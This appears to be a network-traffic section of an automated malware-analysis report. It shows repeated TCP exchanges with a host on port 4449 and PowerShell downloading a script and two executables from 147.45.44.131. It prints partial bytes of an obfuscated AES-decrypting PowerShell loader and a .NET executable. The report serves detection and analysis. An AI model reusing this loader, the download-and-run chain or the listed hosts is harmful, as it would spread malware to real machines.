Jan 2, 2025 19:16:19.179164886 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:19.280487061 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:19.308124065 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:19.310242891 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:19.315035105 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:19.315089941 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:19.319838047 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:22.672554970 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:22.677437067 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:22.677501917 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:22.682257891 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:22.970016956 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:23.100125074 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:23.100250959 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:23.102957010 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:23.107708931 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:23.107798100 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:23.112571955 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:34.222836018 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:34.227650881 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:34.229192019 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:34.233938932 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:34.539064884 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:34.654318094 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:34.668030977 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:34.670557022 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:34.675357103 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:34.675472021 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:34.680336952 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:45.484853029 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:45.489662886 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:45.489747047 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:45.494512081 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:45.818485022 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:45.948643923 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:45.951385975 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:45.955837011 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:45.960643053 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:45.960772991 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:45.965533972 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:52.079230070 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:52.084050894 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:52.087956905 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:52.092716932 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:52.387222052 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:52.451210022 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:52.516218901 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:52.527415037 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:52.532223940 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:52.532316923 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:52.537167072 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:56.676032066 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:56.680953979 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:56.684103966 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:56.688900948 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:56.992115974 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.041191101 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.132272959 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.133924961 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.138780117 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.138883114 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.143754005 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.410516024 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.415335894 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.415380001 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.420149088 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.745345116 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.844002008 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.866019011 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.869651079 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.874557018 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:57.876276970 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:57.881057978 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:08.874190092 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:08.878983021 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:08.879046917 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:08.883822918 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:09.172382116 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:09.298672915 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:09.306395054 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:09.308646917 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:09.313546896 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:09.313623905 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:09.318506956 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:20.346019030 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:20.350945950 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:20.354135036 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:20.359915018 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:20.668034077 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:20.717067003 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:20.796319008 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:20.803746939 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:20.808582067 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:20.808639050 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:20.813414097 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:28.066071033 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:28.070837021 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:28.071005106 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:28.075800896 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:28.364825010 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:28.420191050 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:28.501455069 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:28.503309011 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:28.508156061 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:28.508418083 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:28.513226986 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:33.266001940 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:33.270859003 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:33.270912886 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:33.275671959 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:33.668905020 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:33.717068911 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:33.800347090 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:33.802196026 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:33.806952000 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:33.807009935 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:33.811719894 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:40.235975981 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:40.240786076 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:40.240948915 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:40.245822906 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:40.539329052 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:40.592152119 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:40.744541883 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:40.746315002 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:40.751100063 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:40.751205921 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:40.755990028 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:51.702054024 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:51.707052946 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:51.707130909 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:51.712042093 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:51.999814034 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:52.045334101 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:52.133042097 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:52.135015965 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:52.139868975 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:17:52.139930964 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:17:52.144773960 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:03.171329975 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:03.176240921 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:03.176301003 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:03.181085110 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:03.467041969 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:03.596530914 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:03.596826077 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:03.598480940 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:03.603274107 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:03.603342056 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:03.608094931 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:12.345139027 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:12.350040913 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:12.350107908 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:12.354942083 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:12.641784906 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:12.686304092 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:12.773942947 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:12.775863886 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:12.781122923 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:12.782378912 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:12.787183046 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:20.969522953 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:20.974858999 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:20.974915028 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:20.981291056 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:21.274688959 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:21.326832056 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:21.404726028 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:21.405844927 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:21.410698891 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:18:21.410774946 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:18:21.415596962 CET	4449	49776	157.20.182.177	192.168.2.6

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 19:14:22.369731903 CET	1.1.1.1	192.168.2.6	0xba5c	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 2, 2025 19:14:22.369731903 CET	1.1.1.1	192.168.2.6	0xba5c	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 2, 2025 19:15:29.119041920 CET	1.1.1.1	192.168.2.6	0x9d1f	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 2, 2025 19:15:29.119041920 CET	1.1.1.1	192.168.2.6	0x9d1f	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49726	147.45.44.131	80	6500	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 19:14:13.314888000 CET	275	OUT	GET /infopage/iubn.ps1 HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.44.131 Connection: Keep-Alive
Jan 2, 2025 19:14:13.951828003 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 11:02:00 GMT ETag: "692-62ab7176e913d" Accept-Ranges: bytes Content-Length: 1682 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 0d 0a 24 78 6e 68 43 58 44 20 3d 20 27 37 49 5a 77 45 41 74 6f 6a 32 79 42 37 6e 71 55 4f 44 63 34 63 73 68 37 6c 54 36 32 71 2b 78 74 7a 49 56 61 75 30 35 70 57 75 67 3d 27 0d 0a 24 73 51 55 56 70 68 20 3d 20 27 69 46 41 69 38 65 6a 46 66 4b 70 67 44 51 38 59 39 59 63 31 6b 67 3d 3d 27 0d 0a 24 78 42 41 4f 4a 36 20 3d 20 27 42 59 59 76 48 54 65 50 7a 37 6a 4b 67 64 4c 5a 5a 69 4a 59 64 42 6a 4d 44 65 70 35 59 48 4a 68 4b 69 31 5a 63 44 36 57 52 48 37 4d 43 43 41 30 76 36 61 38 53 61 6d 4a 62 64 39 39 38 36 77 6b 47 37 57 44 46 5a 31 4c 7a 31 68 2b 6a 4e 66 4e 62 32 4f 63 43 73 50 78 37 61 33 6d 69 4a 50 4a 6e 61 6a 48 43 6c 32 50 72 66 76 68 56 35 2b 67 32 79 6e 4d 2f 4e 33 2b 62 42 6e 75 67 5a 74 51 57 71 54 39 69 47 4b 45 45 79 42 59 46 52 48 76 4d 4e 75 45 65 49 53 73 73 4b 39 50 35 50 75 54 71 58 6e 47 53 4a 41 59 35 53 4b 74 75 42 72 33 62 49 47 72 58 67 76 62 44 36 34 33 38 47 2f 52 69 4c 76 41 56 62 74 75 62 42 67 2b 41 6a 55 6a 50 50 71 52 6f 68 65 71 64 33 52 57 64 41 64 30 46 75 77 36 74 [TRUNCATED] Data Ascii: $xnhCXD = '7IZwEAtoj2yB7nqUODc4csh7lT62q+xtzIVau05pWug='$sQUVph = 'iFAi8ejFfKpgDQ8Y9Yc1kg=='$xBAOJ6 = 'BYYvHTePz7jKgdLZZiJYdBjMDep5YHJhKi1ZcD6WRH7MCCA0v6a8SamJbd9986wkG7WDFZ1Lz1h+jNfNb2OcCsPx7a3miJPJnajHCl2PrfvhV5+g2ynM/N3+bBnugZtQWqT9iGKEEyBYFRHvMNuEeISssK9P5PuTqXnGSJAY5SKtuBr3bIGrXgvbD6438G/RiLvAVbtubBg+AjUjPPqRoheqd3RWdAd0Fuw6tbc1izmf2qr//8v0N37ZU2czNGy72ieWxUGjaSdsxkihCw4YzmAoXxnOfjp9PcvRPkiF7jk48y557ClG4KB2SCJppKm4CLjs/ELQLlLz080Yl/jKEcrrChjGtoyt23k+5QsiTD3SRucv4bE29K13Zv5yWdsu0vag5jDFoJewWwJXs8xKpm4KKUE/2PV9Fcgw4W718pvDKv7aa5DInMcuvcSttl9Chq0ZFHiZfOYCI963DVfPurlPSy6yvxEynyfXzcYYJEO44N34cO+LRf7tH8CrFITJubaVvnW/Ou7KjS9o9LRlHEBseLEbOMMPg/vKbrueI6K/KoYb2hL+e9SDk/aeDrY0II0FRFETCaEQnJBfOubpU03wCHQRMMH7iz1NVC/X26gPZWyRRK+RdhthfQQS8LLX'function a10NrR ($o5pQm1, $xnhCXD, $sQUVph) { $4MGiFV = [Convert]::FromBase64String($xnhCXD) $OJ5UPJ = [Convert]::FromBase64String($sQUVph) $T9tJ95 = [Convert]::FromBase64String($o5pQm1) $9mUXlj = [Sys
Jan 2, 2025 19:14:13.951873064 CET	707	IN	Data Raw: 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 41 65 73 5d 3a 3a 43 72 65 61 74 65 28 29 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 4b 65 79 20 3d 20 24 34 4d 47 69 46 56 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 49 Data Ascii: tem.Security.Cryptography.Aes]::Create() $9mUXlj.Key = $4MGiFV $9mUXlj.IV = $OJ5UPJ $9mUXlj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $S1QRYq = $9mUXlj.CreateDecryptor($9mUXlj.Key, $9mUXlj.IV) $NKtx2h
Jan 2, 2025 19:14:14.204313993 CET	157	OUT	GET /infopage/rwvg1.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 2, 2025 19:14:14.389450073 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 10:33:38 GMT ETag: "8a00-62ab6b1fe4fe2" Accept-Ranges: bytes Content-Length: 35328 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELi"0z @ `(O H.text `.rsrc@@.reloc@B\H!`}0:(oi+aXi]Xi20(((o(0rpssor>sp~(o&or`sp~(o&o%~(oorsp~(orsp~(oo&((((j(rsp(o*BSJBv4.0.30319l4#~
Jan 2, 2025 19:14:14.389461994 CET	224	IN	Data Raw: 00 00 34 04 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 d4 07 00 00 08 74 00 00 23 55 53 00 dc 7b 00 00 10 00 00 00 23 47 55 49 44 00 00 00 ec 7b 00 00 74 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 15 02 00 09 00 00 00 00 fa 01 33 Data Ascii: 4#Stringst#US{#GUID{t#BlobW3PPppQ114
Jan 2, 2025 19:14:14.389473915 CET	1236	IN	Data Raw: 06 00 1b 01 38 02 06 00 e7 03 83 02 0a 00 98 03 90 00 0a 00 c4 03 f9 02 0a 00 07 00 46 00 06 00 2f 02 f6 03 06 00 18 02 83 02 06 00 ee 03 83 02 0a 00 d6 02 c5 02 0a 00 a1 02 46 00 06 00 66 02 83 02 0a 00 e9 02 f9 02 0a 00 d7 03 f9 02 06 00 15 04 Data Ascii: 8F/Ff0)AuA{AAyP \| m r!
Jan 2, 2025 19:14:14.389555931 CET	1236	IN	Data Raw: 74 69 6d 65 2e 56 65 72 73 69 6f 6e 69 6e 67 00 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 47 65 74 53 74 72 69 6e 67 00 4b 73 6c 62 6d 71 69 00 4b 6e 76 62 6c 00 50 72 6f 67 72 61 6d 00 53 79 73 74 65 6d 00 4d 61 69 6e 00 53 79 73 74 65 Data Ascii: time.VersioningFromBase64StringGetStringKslbmqiKnvblProgramSystemMainSystem.ReflectionStringCollectionMercadoMethodInfoMicrosoft.CSharpCSharpCodeProviderCodeDomProviderSystem.CodeDom.Compiler.ctor.cctorSystem.DiagnosticsSyst
Jan 2, 2025 19:14:14.389568090 CET	1236	IN	Data Raw: 00 37 00 4c 00 30 00 67 00 65 00 51 00 78 00 34 00 70 00 41 00 55 00 59 00 51 00 46 00 79 00 49 00 73 00 4a 00 6a 00 64 00 4b 00 47 00 6b 00 51 00 55 00 46 00 46 00 51 00 31 00 51 00 30 00 51 00 47 00 48 00 79 00 6b 00 46 00 52 00 6b 00 6f 00 4b Data Ascii: 7L0geQx4pAUYQFyIsJjdKGkQUFFQ1Q0QGHykFRkoKIwEtO1IXYWhVGGAGFStmUG4UHmNtFT0hF0UPQgZMIVIBRUwUCkANcW0mJy0NSR4WIVcJSBwVXnUGTUom
Jan 2, 2025 19:14:14.389579058 CET	672	IN	Data Raw: 00 55 00 63 00 49 00 66 00 30 00 67 00 35 00 4e 00 47 00 4e 00 74 00 52 00 57 00 68 00 6a 00 57 00 77 00 78 00 4d 00 51 00 6c 00 55 00 59 00 59 00 41 00 51 00 2f 00 53 00 52 00 74 00 72 00 55 00 47 00 64 00 62 00 4e 00 78 00 6b 00 4e 00 4f 00 69 Data Ascii: UcIf0g5NGNtRWhjWwxMQlUYYAQ/SRtrUGdbNxkNOiYaSC8NG0wlXhwEQFBuFB5jbUVoY1sMTEJVGhNDHHIELwFVWgAiCzwmA1hOTngyYAZIBkx9RBQeY21Fah
Jan 2, 2025 19:14:14.389590025 CET	1236	IN	Data Raw: 00 77 00 78 00 4d 00 51 00 6c 00 55 00 59 00 59 00 41 00 5a 00 49 00 42 00 44 00 59 00 71 00 4d 00 56 00 70 00 54 00 49 00 6a 00 30 00 7a 00 49 00 53 00 59 00 4d 00 59 00 77 00 6f 00 78 00 45 00 46 00 73 00 30 00 54 00 77 00 64 00 49 00 54 00 6e Data Ascii: wxMQlUYYAZIBDYqMVpTIj0zISYMYwoxEFs0TwdITnFpPh5jbUVoY1sMTEJVGGJlGkMNKQFkTCwuADswOg5haFUYYAZIBkx9GQ8zSW1FaGMGIWZvfxhgBkhWHj
Jan 2, 2025 19:14:14.389600992 CET	1236	IN	Data Raw: 00 56 00 54 00 43 00 68 00 55 00 44 00 55 00 63 00 49 00 63 00 55 00 52 00 64 00 55 00 44 00 63 00 57 00 4f 00 47 00 67 00 67 00 46 00 45 00 49 00 59 00 42 00 77 00 31 00 4d 00 61 00 52 00 31 00 6c 00 4c 00 45 00 78 00 39 00 52 00 42 00 52 00 4f Data Ascii: VTChUDUcIcURdUDcWOGggFEIYBw1MaR1lLEx9RBROMSQTKTceDAgHGV0nRxxDTDQKQB4VJBc8NhpALQ4ZVyNjEGIJMQFTXzcoTQEtD3wYEFVQIUgMSglxRF1Q
Jan 2, 2025 19:14:14.389611959 CET	1236	IN	Data Raw: 00 68 00 70 00 4a 00 44 00 7a 00 67 00 58 00 52 00 78 00 4a 00 6a 00 4a 00 41 00 73 00 38 00 59 00 78 00 6c 00 4e 00 48 00 77 00 63 00 30 00 58 00 43 00 52 00 55 00 44 00 56 00 55 00 66 00 64 00 46 00 38 00 35 00 4e 00 47 00 4e 00 74 00 52 00 57 Data Ascii: hpJDzgXRxJjJAs8YxlNHwc0XCRUDVUfdF85NGNtRWgzCUUaAwFdYEINSgk6BUBbYy8KJy9bbx4HFEwldhpJDzgXR3omIQAvIg9JRBEBSilIDwYNLRRYVyAsES
Jan 2, 2025 19:14:14.389622927 CET	104	IN	Data Raw: 00 70 00 42 00 55 00 42 00 58 00 49 00 47 00 30 00 32 00 4c 00 54 00 63 00 73 00 51 00 78 00 74 00 55 00 51 00 57 00 77 00 6f 00 56 00 41 00 31 00 48 00 43 00 42 00 34 00 4c 00 57 00 6b 00 6f 00 6d 00 4e 00 52 00 45 00 4d 00 4a 00 68 00 64 00 4a Data Ascii: pBUBXIG02LTcsQxtUQWwoVA1HCB4LWkomNREMJhdJCwMBXWB1DVI
Jan 2, 2025 19:14:15.772564888 CET	157	OUT	GET /infopage/ersyb.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
